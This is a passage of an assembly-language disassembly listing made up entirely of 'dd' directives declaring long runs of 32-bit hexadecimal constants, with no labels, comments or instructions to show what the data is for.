		dd 59C2D58Dh, 60EFFC6Ah, 3A48DCC9h, 0F4A03400h,	948A9118h
		dd 534000DFh, 22E85F0Ah, 6A4A866Dh, 0A7C064DBh,	3C607D6Eh
		dd 8E80F309h, 1BB1D5D3h, 0F56F1011h, 0D0090035h, 8C6D2025h
		dd 5DF0780Fh, 0C5259BF8h, 9D10CE87h, 0CD447DEDh, 1F25C9B8h
		dd 0B59F0FC6h, 0DD5C2550h, 0F9C1FF42h, 0ECA9001Ah, 6A3ADEA6h
		dd 695B51BFh, 4C441259h, 4B16FF52h, 2ACF2DFEh, 5DFC80C2h
		dd 0BD5CF3C2h, 0EE5525F6h, 0D116373h, 920CAC00h, 0FA59CEDEh
		dd 7711F100h, 0E99983CFh, 64C79512h, 55806C0Bh,	9C3930BDh
		dd 2209E068h, 70407B55h, 1F047020h, 18AE4386h, 0B6D3D9ACh
		dd 946DE060h, 122900A8h, 0DD428C2Ah, 6094ABBh, 0D5507E13h
		dd 0F8E2C999h, 8003BED1h, 867A65A3h, 0A7619F30h, 566EF12Fh
		dd 80D49B9Fh, 280C2241h, 3F1F129Fh, 0C4D3B963h,	5649088Ah
		dd 29616D82h, 9BAB5F04h, 0C01788B8h, 145C9FEFh,	5D1E1A97h
		dd 73A1E590h, 0E6758101h, 11F2349Ch, 0AA8CC8h, 0FD2CC835h
		dd 0FF6AF9F8h, 29BC19A8h, 0C0519E73h, 0D083CDD1h, 0AF02B4B6h
		dd 4BB1CF15h, 0C170C246h, 0F6290573h, 18D19D09h, 0F951AB5Ch
		dd 0AD87252Bh, 48B038FEh, 0E457C7C0h, 36562B0h,	216B137Eh
		dd 0C531FA67h, 0A37670E6h, 0F982B05Ah, 0E45B5909h, 0FEE58271h
		dd 91025CDEh, 62F925C0h, 0F974FDh, 0F275F781h, 7395594Eh
		dd 0EF80047Ch, 8B27AEADh, 29E0D672h, 0DE72F750h, 0FBBFD101h
		dd 0E9434029h, 2F7BB32Bh, 1D916058h, 4599D2Ah, 3915AFACh
		dd 24B15B8Ah, 0AB62FFEh, 38171F96h, 20E8D24Ah, 25F8B42Ch
		dd 0E3DB5AE9h, 2F1381BCh, 0AC9B96CDh, 0D8CBB440h, 0F60A05F8h
		dd 17881DDDh, 7134AACEh, 1F89BD05h, 2E1D0604h, 2788F5ADh
		dd 85C7D3ADh, 9A583DFh,	0A2E6FE24h, 79A295ECh, 4A9D040h
		dd 806C5B5h, 374BF73Ch,	913980B6h, 47C250B9h, 0B5A0FB09h
		dd 27A65818h, 0FB545A71h, 2453B5EBh, 0A2B90565h, 22A9E907h
		dd 0E9B32502h, 6DD507C2h, 2A2CC1BEh, 39B36A86h,	194A1503h
		dd 0C2024865h, 5B2F36C3h, 0DC9C56FCh, 122C7AB5h, 4E6D9D33h
		dd 0FD16B82Eh, 7C2EC8Dh, 33DC1A8Ch, 2B899175h, 0DEE62AD2h
		dd 0FCF771F0h, 235298BDh, 30E525BDh, 666BB173h,	0F52CA213h
		dd 0B1572429h, 0F1098F2Dh, 0AC30448Ch, 0D9608B45h, 270600F3h
		dd 3E2FEEEBh, 0B29E0700h, 4E4084BBh, 0D23148B4h, 5E621220h
		dd 0FD0C3570h, 18DD3090h, 1AD38B7h, 70F19F9Dh, 9582782Dh
		dd 17E47C6Dh, 0CA09CF60h, 0B8AC935Fh, 0D617FED3h, 1B98B21h
		dd 62762F2Eh, 7F333DD0h, 754B016Fh, 975664B2h, 9145A51h
		dd 0D8C20196h, 0B50EBFD5h, 3316FEBEh, 1D20EADh,	0FF8296B7h
		dd 0B92629E1h, 12BD1630h, 0B979992Fh, 0C4BFA456h, 0A2A6AC31h
		dd 89B51A94h, 0B3012B82h, 3DE6665Eh, 0A4803AD9h, 9D641B84h
		dd 85007A5Ah, 0BCB0F6E7h
		dd 9BBAE92h, 47D0DC20h,	1746B071h, 0BE6D9D8Fh, 0C82B32C3h
		dd 13D24058h, 4C48F71h,	0B2EE1EFh, 0BBB05760h, 334B81BBh
		dd 0C6B6B185h, 0F6FE36E0h, 1F11A916h, 0C00E4E2h, 7F3D16A5h
		dd 3F046596h, 5BFCF1E9h, 0EE56E3B8h, 0E8CDD74Ah, 0D48B5C6Bh
		dd 0F99E9412h, 0DA4BCDE7h, 0ABAF808Fh, 2588BE09h, 6EC49174h
		dd 1453F02h, 5C9BCB05h,	1FE6BBFh, 0F20D00DCh, 0EC3974D0h
		dd 8C90F616h, 972A5920h, 4D91960h, 6F065695h, 9328407Fh
		dd 5C26A84Bh, 0D7C1ED03h, 9020C4BBh, 59615E14h,	5F3AEF50h
		dd 427E51A5h, 0A155AEBh, 13859D09h, 2F291E60h, 68016D7Ah
		dd 615945E0h, 0CC2A6051h, 0BE1F665Fh, 5F52EE7Bh, 1F8607AEh
		dd 0B02F1846h, 871AD5ECh, 405B4D2Fh, 7AE3388Ah,	0C60F9425h
		dd 0E84297h, 565F9860h,	1C9BD1Eh, 9BD78A12h, 307475FFh
		dd 44A09B1h, 0DB010FB7h, 9C3D35C1h, 4878ECD5h, 120F4600h
		dd 0DF814C40h, 0DFB015Eh, 0C7E95F58h, 0D9607A01h, 3171F47h
		dd 0D586D9E0h, 0DE88F1DAh, 1544858Bh, 7332ED09h, 0DA253948h
		dd 0E06FA9C2h, 69E1F8C1h, 28ECA8C8h, 20DA7497h,	0F94B0F3Dh
		dd 9560AB8Ch, 8722E5F2h, 0E0FC5A01h, 65EE143h, 54E8A0EDh
		dd 0D0E92C00h, 42497C45h, 0B5F7A1F8h, 0EF895599h, 1C326FBh
		dd 800AD781h, 172E4C87h, 6F935C0h, 4105B17Ch, 43A9855Ah
		dd 0DE8A9600h, 6FF3BB50h, 9203223Ch, 9BE1F98Bh,	0A9A49C7Fh
		dd 85BABD00h, 0B61F2027h, 0C29501F1h, 4AFBE19Ah, 89292EFCh
		dd 741011E5h, 2A009AC5h, 0B65E68C4h, 1880AA2h, 15870D80h
		dd 7850F377h, 3C84512Bh, 677F80C5h, 0B5DA42A3h,	67738EAh
		dd 4305036h, 0A3770BBFh, 2B9F891Bh, 8E43B85Fh, 0CF73A7C6h
		dd 0D5C9E10Eh, 0A67A2DD4h, 95A65FDDh, 0A033B9A0h, 7DCE1297h
		dd 0F783DD37h, 0D83C3B21h, 505FB17Bh, 41DDF2C9h, 93376E0Dh
		dd 0B147D8C7h, 2F7FB4Eh, 4585BFECh, 627D08B4h, 0DCC9D472h
		dd 0CDE04B09h, 0CE6E5C31h, 42322DC4h, 0D03DBD29h, 716F95A2h
		dd 87611D64h, 354ECCA7h, 80261404h, 168C157Bh, 84322E1Fh
		dd 0DE700031h, 4ECDD7DCh, 0C45ADF02h, 84CE7398h, 7D92B196h
		dd 51135C5Fh, 0E0A0772Ah, 4EF78064h, 943BB803h,	12E338AFh
		dd 0F8E37409h, 76DA4BBAh, 9F80BD8Fh, 5C23F73Eh,	9B4079BCh
		dd 0E0E43A6h, 0B9BD03DEh, 0C71F476h, 0E28AC64Bh, 4A045610h
		dd 3104F8B3h, 0AF0BA19Dh, 952F5E39h, 0ACC9F942h, 533C8C18h
		dd 62018084h, 712F6BFh,	3BE49D24h, 0B0F55000h, 3B38F2A5h
		dd 2702B85Bh, 355C0325h, 5D20E9EAh, 0B5F87907h,	0C4EB97E0h
		dd 9F40022h, 0D245C6F1h, 0DC3F3984h, 0B4948E18h, 0F844C025h
		dd 5A35F156h, 4F3EB35Bh, 34F0F2B6h, 98076D74h, 0D1A80CA2h
		dd 5CEEB29Bh, 8B826935h, 960512F9h, 6D8E24B8h, 6788F723h
		dd 3FE7A8F1h, 1A34330h,	2AAA00FBh, 0C0341AF4h, 130228E0h
		dd 0B1244735h, 9BB75D32h, 0A1CD2C8Eh, 0E0281797h, 51809268h
		dd 84AFBDBCh, 0B700C47Ah, 18A385FEh, 1246A0D6h,	0E630D117h
		dd 321DB202h, 0DE3B480h, 0C5090EB8h, 827BDD9Ch,	42AAD1Eh
		dd 87EBE853h, 0D0C0ED90h, 4B120319h, 415ECD5Fh,	3F20DD7Bh
		dd 1E00F9A6h, 7222373Dh, 4D7E3630h, 0F601D32Bh,	6427CD25h
		dd 3C75601Dh, 0B6BB8B6h, 0D129D9CDh, 28A0003h, 9E80274Fh
		dd 3C051BE7h, 0F925096Dh, 46D6775Ch, 0B2C04E19h, 9DD6D36Dh
		dd 9D7653CCh, 132E0141h, 0E01DF60Ah, 29638A7h, 163B9318h
		dd 285ED37Bh, 0CEB2CD27h, 97508E09h, 8BE6F94Ah,	0F2DFB712h
		dd 16AF00C5h, 0C39EE607h, 44D80337h, 22DA0CF4h,	0FA2841B8h
		dd 0D8D15A27h, 88D2046h, 5ACC5B4Bh, 4219F809h, 13814822h
		dd 30306EC8h, 9F20A8Ch,	0A7F4DD17h, 5F133AFCh, 23976BAEh
		dd 9330118h, 2BB02BB6h,	39B06034h, 0CECEBF01h, 0ED852913h
		dd 861A8BEDh, 0E0753101h, 2E6B6366h, 4BA27779h,	12923E02h
		dd 1013BDE9h, 86F9A4h, 399396F5h, 9065B101h, 0C342600h
		dd 0E8080B9Ah, 43FB835h, 5953196h, 998ED04h, 79F22EE7h
		dd 0D90154E2h, 2BF620C8h, 0DD20B070h, 0E666D225h, 0E99C4A76h
		dd 2B244125h, 970570B0h, 656B829Ch, 0C377D30h, 7594EAADh
		dd 0AFA51908h, 0E46D2D90h, 0F72E6900h, 97B38893h, 9E661265h
		dd 0E8549443h, 78DB5FDDh, 0BABE1285h, 15F0A758h, 9BB8970Dh
		dd 85323156h, 5E5FFF61h, 69D869D1h, 9E80727h, 89227B63h
		dd 1D160B8Dh, 333136A0h, 118AC7B5h, 0E5204B4Dh,	0FCF21241h
		dd 0AD324A0Eh, 95848EEAh, 22BD8017h, 2D3A53F0h,	896FC68Dh
		dd 578C1540h, 1386126Fh, 8589BADBh, 95CC2D2Eh, 79F3920h
		dd 0FFF319E9h, 0D37C981Bh, 0DFE4056Bh, 0AEC18B10h, 0EF95271h
		dd 93C8B22Ah, 8B506607h, 0C103E239h, 2735957Ch,	0A0A2B72Eh
		dd 26623393h, 64FD830Fh, 7942C8DEh, 45864F61h, 6F3A0F90h
		dd 3E510088h, 3329DB31h, 8BBB1966h, 2FDAD00Fh, 1AA62116h
		dd 6E7CF4E0h, 2A0A9BFEh, 8C50FC7Bh, 8B6335A4h, 0D1F0D74Dh
		dd 70D736Dh, 3F244548h,	0B19E301Eh, 354EC364h, 0FBE8D3ADh
		dd 7296B201h, 8F4FD11Ch, 322EC2DDh, 64772B3Ch, 4A22986Ch
		dd 0CB25DB6Ah, 601D84DCh, 0F8CBF6B8h, 0AD02B555h, 0EA4523B0h
		dd 84742B39h, 8B0FA8C4h, 40E978D8h, 0D15BFF0Eh,	0F516D5A7h
		dd 0E257B803h, 615E1A6Dh, 35C500D4h, 0C85101D9h, 0EF134B28h
		dd 89C2F51Bh, 8F0A606Ah, 0C448411h, 41A200F7h, 559E36Dh
		dd 2E090ED3h, 449069CEh, 6827000Dh, 0FAC6FCCBh,	1A00F848h
		dd 0D4A2D0B0h, 2D69CC6Eh, 0AFC8D8E6h, 66E78A90h, 10893B7Dh
		dd 0E91204A5h, 85E3E3A4h, 9EAB904Fh, 29618197h,	0BB549DB5h
		dd 30207CF8h, 2EDB97A1h, 6AFACB74h, 62A732AAh, 0C2502465h
		dd 0F22E173Dh, 0A809FECh, 0B04A92E0h, 0E1A048h,	74D74DC1h
		dd 4B41BDE6h, 0DBCB945Bh, 0CB22C3BFh, 4FEAF02Eh, 6A35818Eh
		dd 6BD20BB3h, 2FFE3C69h, 62F97640h, 0E85C9CB3h,	326E02C9h
		dd 0A23AD724h, 0EF4039EDh, 67A6978h, 0E2E81FB2h, 54A7A23h
		dd 6F490FE2h, 5101F0BCh, 0FD232689h, 0DC455015h, 0FC910725h
		dd 0BB621AA9h, 0D416F30Bh, 0B80E4CA4h, 120A1F6h, 7E38000h
		dd 2045AB5h, 0CF48D381h, 0D85C5EFEh, 4610F088h,	23583705h
		dd 8213204Ah, 0A56AFCD7h, 0FD31E361h, 0BA55E68Dh, 0B14C57E0h
		dd 41212532h, 611FFCC1h, 0A54DBD09h, 60F561B5h,	0ECCA126Bh
		dd 0D66189D1h, 80CBBD4Ch, 7D8D29FFh, 52259C96h,	846970FCh
		dd 0DB99BB17h, 18E94C04h, 7F24DDBBh, 0B90068E2h, 0F60676B3h
		dd 27CE281h, 0B5DF6AC2h, 392EE120h, 0B231B796h,	23874B42h
		dd 26C58D91h, 0BF000947h, 97603F3Dh, 89271A94h,	2DB57AB5h
		dd 0CD735AE9h, 14C3F580h, 0FEE5F044h, 0EF713532h, 7FDCF534h
		dd 80289DF2h, 111197DAh, 10BB1033h, 22F03FB6h, 5F17A528h
		dd 1BE920FEh, 720E76F7h, 407D653Ch, 9D23E094h, 0B8024EA1h
		dd 40799027h, 0C512A4B8h, 1DF64F18h, 0BDEFDB28h, 0FE4BF6ABh
		dd 9AD4A5E2h, 783853A5h, 0A506573h, 42096ADFh, 79F9779Ch
		dd 0BD898524h, 0B9CFA0B5h, 7308E625h, 593601A6h, 0E45A8252h
		dd 1F0729EFh, 0EE012DBBh, 9F1878B9h, 2395637h, 6DDC5C67h
		dd 0DC10DEFCh, 0A4824796h, 60E9E8ACh, 282BD9E8h, 4AA289C0h
		dd 0D605B829h, 0BCA095E6h, 0D262C78h, 350914FBh, 69E5730Fh
		dd 101726F6h, 73E819B9h, 7A9F9D0Bh, 200C9451h, 5B4B3319h
		dd 9DF5FA88h, 385ADF5Bh
		dd 18DFD1C2h, 66594367h, 47990929h, 0C4E912h, 0C813DAAAh
		dd 0BD66C01Ah, 0D97887C1h, 8589AB04h, 0EAB81B91h, 7F8D2ABDh
		dd 1782E7D4h, 0B63D4AF5h, 6613E117h, 0B1E9EA93h, 0F1282BCDh
		dd 82D58A7Ah, 2C2F555Dh, 2A4B590Eh, 581F998h, 0A9CA6BDBh
		dd 422AAE4Eh, 8089B68Eh, 96079FCh, 0B616ADB5h, 74B682E0h
		dd 353E1FFh, 93C670h, 0BFD99B29h, 31ED8C8Bh, 8D256D90h
		dd 0C4BA7106h, 0BB664178h, 282FD85Ah, 11A88212h, 14979599h
		dd 603B44DCh, 0C1566D9Fh, 43FD60C4h, 0BFECB9C0h, 9EEC7161h
		dd 0E7115A20h, 0AAB16430h, 8A515DECh, 5B4352Fh,	0AA4F102Dh
		dd 8D8910D1h, 0ADCE946Bh, 0BD6122CBh, 0E216C84h, 55312960h
		dd 61F94848h, 0B8982AE3h, 0EF71281h, 2496E368h,	18104201h
		dd 0C890F513h, 0E600C44Ch, 0EB80364Dh, 0B4725C1h, 0AF2B2354h
		dd 0AEC81FDDh, 8130C589h, 6807854Ah, 0CD43C48Dh, 0FFA50AACh
		dd 0C924F384h, 0F18017ACh, 1458D0E6h, 0E4E2DB00h, 1716CF4h
		dd 0B7E012B9h, 7D991A0Ah, 0C2001D59h, 456E7F85h, 677FCAh
		dd 3062EC25h, 8F4756C6h, 2C013A0Eh, 30C8128Bh, 0FF7700C1h
		dd 0CCF8AA31h, 0D11F9653h, 11011FA1h, 4781D567h, 9C48AB22h
		dd 9028C11h, 745F6160h,	39A53881h, 0D39DBCCEh, 5B75044h
		dd 0D23AE148h, 0DE3EBEB1h, 4BB6C075h, 2E2AEADh,	0EF5D2B79h
		dd 0C4F5093Dh, 449B4B2h, 0AB01CEE9h, 0AD9377DEh, 5EB9294h
		dd 0AA0BC9A3h, 437D4BDDh, 0DC005FB8h, 0F333B286h, 1211BBC9h
		dd 0E33D1827h, 0CAFC25EFh, 994FD7C6h, 33F9C640h, 284930BDh
		dd 7E59DBBh, 92B66AEDh,	0ACB2B737h, 5699292Ch, 119D951Dh
		dd 879D4EBEh, 12C4450Fh, 0B920BA3Ah, 95F6B2h, 0CFBC3BA1h
		dd 0C14A6DFEh, 0ECB11605h, 0E804A84Eh, 5B090195h, 970E9844h
		dd 56837EEBh, 2E1329EBh, 60510A05h, 5A568981h, 0EE966620h
		dd 1DA79CFBh, 0D781C0F8h, 5E036FFCh, 662F1BB3h,	0E099776h
		dd 0F69AF4h, 5F1D4AB1h,	0ECA7CA85h, 0B078E460h,	402B8DAh
		dd 4ACB7F68h, 0A3F48CE7h, 0CAD25B00h, 75A6B58Eh, 64CD00E5h
		dd 270E6A1Fh, 3A256563h, 422D0AFh, 18D43880h, 0D0D3B8F9h
		dd 0C00D3FEEh, 374F9890h, 57FAA488h, 0B7F7992Ah, 800E8A4Bh
		dd 0C99D0BAAh, 0D86170A4h, 8D12090Ch, 60EA3169h, 51BCC52Dh
		dd 0E8803D00h, 68D90A7Dh, 1A5721Dh, 0DF8A140h, 3A617C6Fh
		dd 2F00206Eh, 0CF6F56BEh, 2B2716EBh, 48F42D0h, 79AE6DE3h
		dd 0BA6A3ED7h, 0CA901905h, 18A504C4h, 0A3EEAC8Ah, 0DEAE8463h
		dd 8BB282DCh, 0C359FAh,	1688801Dh, 0E00FC55Ah, 0EB688E87h
		dd 0F6317E4Ch, 440DB527h, 9FD89D74h, 63C9AC00h,	0BB864767h
		dd 0C3B80908h, 796B29h,	77DE25DDh, 0FFEA00D4h, 66C989CAh
		dd 1786880Fh, 0F90D198Dh, 65E852h, 0C5E47935h, 1DCF310Ah
		dd 0E8F38102h, 5E69BA93h, 52D45321h, 0A356EAAh,	0B710EFBAh
		dd 0A8132D01h, 8B2ECA3Eh, 0D3042F18h, 583ED0D8h, 9D33C204h
		dd 0F6952315h, 0BC57AA16h, 1CC87EDAh, 0A50359C7h, 60EDB002h
		dd 0B309164Ch, 0ACADB94Ah, 1C388C1Ah, 9208BEE7h, 4DF1C750h
		dd 0B083E73Fh, 12896F49h, 0BC1F719Dh, 7E9B57Bh,	161F09A8h
		dd 0E4C02029h, 9589D48Dh, 0DCACAA7Dh, 81F04006h, 3B2F7554h
		dd 0B7E97857h, 19240B79h, 0F1310F09h, 72F3AD82h, 73C189AFh
		dd 0D13F702Ch, 0FB3CA800h, 391C5A47h, 0EC314B84h, 6CC897A1h
		dd 668802F0h, 0F8A81C9Bh, 91B4B5D7h, 383D801Dh,	5A6C07ECh
		dd 603EB57Ah, 144EC508h, 89C2F4B9h, 164AC18Dh, 91CEB5D5h
		dd 4D608018h, 98645880h, 0AD1F25F5h, 0D07E6FEAh, 0BF9700F4h
		dd 0FC872E79h, 0A7902062h, 0E8312920h, 8D52595h, 1479857Bh
		dd 32B88018h, 8E286A3Eh, 0EBBB6638h, 86B57549h,	88E24FA6h
		dd 0BC7E189h, 2EDD892Fh, 7DA98D13h, 9D2FB2B8h, 1FEE6448h
		dd 82BAE428h, 0A3A4A869h, 0D0F1DFC0h, 92C93D16h, 915127BDh
		dd 3ADBF53Bh, 1CB200E6h, 8A5EC032h, 136BB8BEh, 0AEFB5EE7h
		dd 0BD03FB70h, 0E2084AC9h, 498488D6h, 21D4045Fh, 8AC44EBDh
		dd 0DED48CF9h, 0DF0A2483h, 4474E9CBh, 6B20DD6h,	2E4E340Ah
		dd 1080BA2Ah, 0F3795A92h, 0E2251890h, 0B13BE678h, 0E8F980E7h
		dd 0CAD46E0Ch, 974BF000h, 0C3368ECDh, 0B1FF58CFh, 0F2F96512h
		dd 0A0328841h, 0DA24FDB4h, 0E3529D96h, 0B7ECC4DDh, 54D01CDEh
		dd 0E760540Ah, 87FAA415h, 22E71D97h, 0B30C1097h, 5E14A687h
		dd 253BFCD9h, 8FB97B32h, 0F212EB80h, 887A8804h,	6F8010E8h
		dd 420937FAh, 0CB6B0038h, 678D4911h, 0AD2FF841h, 0CC78DB6Dh
		dd 2941C5ACh, 652F5FE9h, 0EF30FA25h, 0BD1A99B5h, 550030CCh
		dd 241D61C6h, 255EDC97h, 2FE2D5C2h, 0ED70D85Bh,	0D44A001Eh
		dd 43BFE176h, 9E48D780h, 0CE783D0Fh, 0D8F320B8h, 1365C671h
		dd 12AEC59Fh, 9116F9Dh,	59F63B33h, 0C473A5FCh, 996DD0h
		dd 0F5589730h, 5D86E28h, 0A8D574Ah, 16816888h, 0C9BD5B12h
		dd 80B1DAD6h, 0EDC9EEBDh, 0A98F018Ch, 0C0E38088h, 0F7944260h
		dd 0D909A062h, 0F6BE1272h, 0EFAE1CDCh, 197B4184h, 6E9FA494h
		dd 0DB2E7EC9h, 0FB7F80EAh, 8808E8B8h, 5C01CF0Ah, 5D6A7A4h
		dd 0CE081DAh, 3EC01344h, 6A674B5Bh, 21003B46h, 0AF6EC901h
		dd 0E520E6Fh, 25BE1C91h, 7CCBE8C0h, 0AFA0C497h,	0DBBEA11Ah
		dd 2E319D04h, 2E07FAFh,	5E89394Bh, 0E6F15765h, 51AFBD93h
		dd 1DA8B6CBh, 0AB97008Ch, 2DA4B251h, 0E705872Fh, 79BD2968h
		dd 0EB907CE8h, 384FD825h, 74218640h, 0B4739D58h, 4AED4DADh
		dd 0BDDE9231h, 8C15ACAAh, 0B0A8B92Eh, 0FFDBE82Fh, 0E4014CD1h
		dd 0B8E72125h, 60018A11h, 0C1536EBEh, 1483F028h, 0B6E085B6h
		dd 3846ABh, 4E5D582Fh, 577D4FAFh, 5EFF1609h, 0B07861h
		dd 8A90F8BFh, 59BB50DAh, 72ACA31Eh, 6D58686Bh, 24605CDDh
		dd 9819C112h, 0F002BE62h, 3408579Fh, 2ED7561h, 0B1601C64h
		dd 8A00DFFEh, 0B23FE872h, 0B517E992h, 240892C7h, 0A96012A1h
		dd 4087885Ah, 0ECC78161h, 4320F516h, 9D8662B9h,	905BABADh
		dd 602FA3B9h, 42E5861h,	11570C1h, 6C5E6102h, 0F0015325h
		dd 4607EB5Fh, 6E100678h, 2EFC7099h, 0B89A86Fh, 94571AADh
		dd 0EABC8314h, 0B0CE7529h, 81526000h, 8E42F7CEh, 14584F7Bh
		dd 0FF2F02E5h, 7870CDD3h, 0F0464A20h, 9588013Eh, 0C8224211h
		dd 16AFA6EDh, 0B08DC2D5h, 0A6608A5Ch, 7AF72625h, 0CBFEA1Bh
		dd 70E690E7h, 234139ECh, 41513720h, 65A47A18h, 0B06021F7h
		dd 4B34B914h, 0A77A1089h, 2A333F5Bh, 79989289h,	0A1EB8102h
		dd 577ECCE2h, 67BF3EA1h, 3E192FCBh, 83803D4Ch, 6051C82Bh
		dd 784887B9h, 26612E97h, 0E9F5D105h, 35BD3142h,	91852227h
		dd 0B584685Ch, 2BBC059Dh, 88EF8180h, 4B44CE76h,	4D59BD8Ah
		dd 600FAD29h, 0BBA32080h, 0BE622F0h, 43E96177h,	146DAD19h
		dd 46FE2AFh, 39850960h,	0E7812CD0h, 9F5409F4h, 28796178h
		dd 0FC5A2011h, 0A5D4DF05h, 70FE2D23h, 57628028h, 66C60BBBh
		dd 38576133h, 600B1532h, 0BFD76C0Fh, 0A5AB0FEh,	46C314E0h
		dd 9D2B09A6h, 0B910A165h, 0F503071Fh, 72FC983Ah, 5BEFEEA0h
		dd 97DD9F4Fh, 0C0C691FEh, 7506E3Fh, 848F31CAh, 0BD239CD0h
		dd 3F2EF1D5h, 1923C8h, 0AD5F7540h, 0BB043E7Ah, 3B882969h
		dd 328D1D81h, 0D764E72Ah, 7A809C9Ah, 0D407E453h, 6281BD48h
		dd 0E13596Ah, 163A13F2h, 82C9ADFAh, 0FD812D4Eh,	0F7034FEEh
		dd 0CC362178h, 0EFB98C61h
		dd 0AE0E15C5h, 6A3E2D29h, 0C7FA0B68h, 9A0AF851h, 113597E3h
		dd 9891491h, 0CB3E7D74h, 19C807DBh, 908766C9h, 795995F1h
		dd 40B5557Ah, 4D3A1302h, 0E3724042h, 0DBEB5BF7h, 376780AFh
		dd 4B18CA6Ch, 2518CA97h, 52987454h, 21374CF5h, 0E4932F9h
		dd 9416C0A9h, 0ADE1FF49h, 1A7FE9A6h, 4BF1576Bh,	3BA6DE96h
		dd 0AE6DBD13h, 0D7D9033Ch, 0BB66F76h, 0C4B3D5C9h, 7CD00FC7h
		dd 0AEC085AAh, 5BD27244h, 56AD4304h, 20BCBD5Ch,	7F03B5A1h
		dd 0B44E4D7Ah, 0EB09AE47h, 9D34A47h, 173604CAh,	38BB5600h
		dd 4F25C9F6h, 194EE55Bh, 2FFC7140h, 0F4E16082h,	0B9544B9Dh
		dd 5C25C2A5h, 9B12DC5Eh, 0A104C62Ch, 5709234Dh,	805B6A40h
		dd 0E2E9C725h, 7084F332h, 2B73FCBDh, 0E6090125h, 0DED35F4Fh
		dd 0BBD3C0A8h, 4A28C53Fh, 0EB96D511h, 2F803F9Eh, 0A95FD18Ch
		dd 0F5ADF54Eh, 0ED50F989h, 3D190122h, 290A95E9h, 0A7C499BDh
		dd 9DCD0D62h, 0F208A5E0h, 75BD1089h, 0FF68070Fh, 5C69777Dh
		dd 7E3D38D5h, 0DCED9C7Dh, 5C514225h, 3522C995h,	6CF59ED8h
		dd 0E8780212h, 7AE94975h, 8100E45Ch, 0D0B48F3h,	0C5BBD34h
		dd 5D59D05h, 88805DF9h,	0AEDC071Ch, 0CD3AC374h,	0C25725FEh
		dd 0D8A4FBB0h, 1A97A1F4h, 998977CCh, 899EA659h,	0C9366DE7h
		dd 9C10FDCh, 3702DC6h, 0AC125EB5h, 0DCA5B32Fh, 0A1F8BF33h
		dd 0A5A06CD6h, 0B7B40531h, 343BB82h, 0B9AE5550h, 87BA5720h
		dd 593C9967h, 3796AF5Fh, 408120Eh, 0B89E3C42h, 34E94F9Ah
		dd 0F22490ECh, 41086556h, 685B0913h, 246A1401h,	7A3A3C51h
		dd 2E704492h, 6BB6755Eh, 0A6B020F0h, 569E1A27h,	1546D66Ch
		dd 0B2AC7913h, 739700AFh, 0D6E7A5BFh, 91BD1901h, 2F90CD0Fh
		dd 0CEBB4500h, 0F323C646h, 4B7DB520h, 4072A70Bh, 632E67DAh
		dd 0DE6B61h, 0DE5AB9ABh, 948848BFh, 0D89F2150h,	788A1697h
		dd 4A3873BFh, 2620CA3Fh, 3EFC8B4Ah, 9770E95Ah, 7B42C66Fh
		dd 69A38234h, 7599FA0Eh, 8959B5ADh, 27F120DDh, 0C2CC06D5h
		dd 5A524100h, 3B68BB9h,	2A9229Dh, 7F40D694h, 25F2645Ah
		dd 1FC5E3E1h, 5425DF1Dh, 66E6F40Ah, 0F9F88B29h,	954BB366h
		dd 0E600AB44h, 585681E2h, 95B440EAh, 1B6460CDh,	0EB1DFE60h
		dd 89830C3Fh, 257D2B1h,	290389FBh, 7E970158h, 0B928F44Fh
		dd 7125BD18h, 0AD0E6506h, 9D4D3DCh, 43471AB9h, 0B4A4FE59h
		dd 8B1B5508h, 77D65360h, 0C5EB5F64h, 5E9DF8F8h,	1785B9C8h
		dd 0EEA89935h, 7753EA09h, 4C98E710h, 0AACCA100h, 0BF8502F5h
		dd 42F71387h, 0A41F85Fh, 24820F96h, 0ECFABB01h,	6B2B2F60h
		dd 251923BAh, 69A69D59h, 596C5BADh, 2FE81816h, 9C58E737h
		dd 0B50B5499h, 2DB754A1h, 1C59755Bh, 0B800CA18h, 0E30BF395h
		dd 0BD1299DFh, 3EB9C390h, 0BF0782EEh, 0B665E7FAh, 55508E52h
		dd 8442B86Ch, 7B18C15Fh, 0C4302B3Fh, 26958B60h,	41CA0F6Dh
		dd 7E61823Eh, 80A830A2h, 8EB88D09h, 81B4183Bh, 0EF074A25h
		dd 0B2A0D052h, 0A3749503h, 5D205042h, 2B01E7C7h, 2E09A5Bh
		dd 9C2AFCh, 7BA4C058h, 0DAF57279h, 85549109h, 4BB5D5D1h
		dd 0A1801491h, 0DCDBD31h, 9F78CEB5h, 4B3CC390h,	209FE300h
		dd 5AFFFA67h, 28AC18E4h, 860F74BFh, 0B20953h, 1C21B8C2h
		dd 0B561303Ch, 350D7E5h, 0CDEA16AFh, 9D13AEA3h,	9AEAEBC5h
		dd 1BB6D2B7h, 0BD49E100h, 0C2FFB29Ah, 7FE06C4Ah, 20964BDFh
		dd 83B52DE6h, 9F9C7F00h, 4D75D63h, 4175F2h, 5150343Dh
		dd 965B83B7h, 0EDD2ABE8h, 0E9EC9BBDh, 0F84D6800h, 7D66C229h
		dd 8807F2A8h, 31042C7Ch, 81A549F9h, 5D3EDACh, 0AE291DAAh
		dd 2D019E78h, 86002D95h, 48BABF50h, 9FE56BE9h, 4B35B020h
		dd 3C919D04h, 734A1290h, 0E723BDB6h, 0ABFBBF07h, 0DEEA2F84h
		dd 0EF3D2545h, 3AF0678Ah, 38A124BAh, 7EADCDCAh,	0F33F93F1h
		dd 0A5CD4BB6h, 6A72C287h, 0BD55191Bh, 80D6A33Ah, 0BF71625Fh
		dd 0AC7128D3h, 89E9D016h, 805E55B8h, 8BEA8AF7h,	0D70EC161h
		dd 342BE6B7h, 7EED3048h, 0BE052B04h, 5065B8BAh,	2F17BFEh
		dd 0C4D614A5h, 0B8885594h, 0F407DC6Fh, 931DCE0h, 880D3351h
		dd 0B80F168h, 0F8D4A4FBh, 0C03F4600h, 92B06C45h, 0E836603Ah
		dd 27B5BD2Bh, 9EC151B5h, 0AB0B2121h, 12BDD5AFh,	0C1C25200h
		dd 0B03AD5Eh, 0FE8BF7C6h, 3D4B38DDh, 1A5BBD29h,	0B615352h
		dd 5F415F77h, 5790002Eh, 0F2834A0Fh, 4EAE8006h,	254FA3Ah
		dd 0F505B94h, 0E3760B8Ch, 2B9FBFC0h, 7E5097F0h,	11099078h
		dd 756D8323h, 0EBE57CEDh, 0C3794EAh, 8BF5FDB1h,	892FD69Eh
		dd 0AC4253B9h, 0FE3AD627h, 4C68004Fh, 0B1E1BF91h, 810D0139h
		dd 3351D1D3h, 62B63A2Ah, 0EBFF8067h, 0BDDC445Ch, 0E109227Bh
		dd 0D1057F19h, 4C22BB30h, 0FB4E751Dh, 0A0096500h, 9A9D24F3h
